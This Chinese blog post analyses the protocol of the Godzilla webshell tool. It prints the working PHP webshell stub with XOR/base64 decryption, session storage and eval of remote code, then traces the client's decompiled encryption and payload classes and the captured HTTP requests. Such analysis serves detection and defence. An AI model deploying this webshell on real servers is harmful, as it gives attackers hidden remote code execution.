哥斯拉整体过程刨析
本文主要是分析哥斯拉流量协议实现的过程
环境
版本:v1.0
有效荷载:Phpdynxxxxx
加密器:php_xor_base64
分析过程
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){ //$D是base64解密后的数据,$K是key
for($i=0;$i<strlen($D);$i++) {
$D[$i] = $D[$i]^$K[$i+1&15]; //XOR解密数据
}
return $D;
}
function Q($D){
return base64_encode($D);
}
function O($D){
return base64_decode($D);
}
$P='pass';
$V='payload';
$T='3c6e0b8a9c15224a'; //KEY
if (isset($_POST[$P])){ //检测密码字段是否存在POST请求
$F=O(E(O($_POST[$P]),$T)); //先base64解密数据,XOR运算解密数据,base64在解密xor解密后的数据
if (isset($_SESSION[$V])){ //检测SESSION是否存在 (对应SESSION 临时文件存放的shell)
$L=$_SESSION[$V]; //SESSION数据读取
$A=explode('|',$L); //分割|
class C{public function nvoke($p) {eval($p."");}} //执行命令
$R=new C();
$R->nvoke($A[0]); //调用nvoke函数
echo substr(md5($P.$T),0,16); //md5加密$p和$T,截断0到16位 (输出两次->开头<data>结尾)方便client提取返回内容
echo Q(E(@run($F),$T)); //输出结果
echo substr(md5($P.$T),16);
}else{
$_SESSION[$V]=$F;
}
}
整体步骤如下:
1.一开始是没有session的,第一次把传过来的数据(大马)解密(base64_Decode->Xor_Decode->Base64_decode)写入到session,产生临时文件
-> Server返回带有session编号的cookie返回给client ( Example:Set-Cookie: PHPSESSID=064ef1kh9kjhmp9k46rvejh396; path=/)
-> Client接到带有PHPSESSID后,后续的请求都带上PHPSESSID
2.往后调用对应的功能pass字段就会调用对应大马里的函数
session产生的临时文件里的大马 (对应的脚本语言对应jar目录下的shells/payloads/
jeb反编译Godzilla.jar
定位到core/ui/component/dialog/ShellSetting.Class
在配置shell的时候步骤如下
调用updateTempShellEntity更新模板对应的设置
initShellOpertion函数
(PayloadModel->对应你设置时选择的有效荷载,CryptModel->对应你设置时选择的加密器)
* 返回http对象
* 返回对应的payloadModel class对象
* 返回对应的cryptModel class对象
* 调用CryptModel.init函数
* 调用payloadModel.init函数
* 调用payloadModel.test函数
getPayload函数
getCryption函数
这里加密器用的PhpXor对应shells/cryptions/phpXor/PhpXor.class
init函数
* 返回http对象
* 返回配置shell设置的密钥
* 返回配置shell设置的密码
* md5加密pass+key
* 截断取0-16
check返回对应的状态
这里分析的payloadModel对应shells/payloads/php/PhpShell.class
* 返回http对象
* 返回对应的shell编码
test函数
(发送test关键字->加密后,判断返回数据结果解密后是否存在ok,如果是则代表成功)
evalFunc函数
获取对应的class name添加到 ReqParameter类型中,调用format返回base64编码后的结果,并开始拼接POST传输的参数,最后调用sendHttpResponse函数发送请求
format函数
sendHttpResponse函数经过几重包装
* 将上面base64编码的结果进行最终加密
* 最后POST发送pass字段
encode函数对应PHP_XOR_BASE64里的
* 根据配置的密钥进行xor编码
* 最后base64,拼接到pass字段
burp捕获配置时的三个包:
第一个发送大马数据,返回session ID
第二和第三个都是对应payload的test函数
完成这些步骤之后,调用对应的功能就是调用大马里对应的函数
参考链接:https://www.freebuf.com/sectool/285693.html
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:哥斯拉整体过程刨析
本文作者:九世
发布时间:2021-09-03, 21:27:25
最后更新:2021-09-04, 03:05:54
原始链接:http://jiushill.github.io/posts/befc239e.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。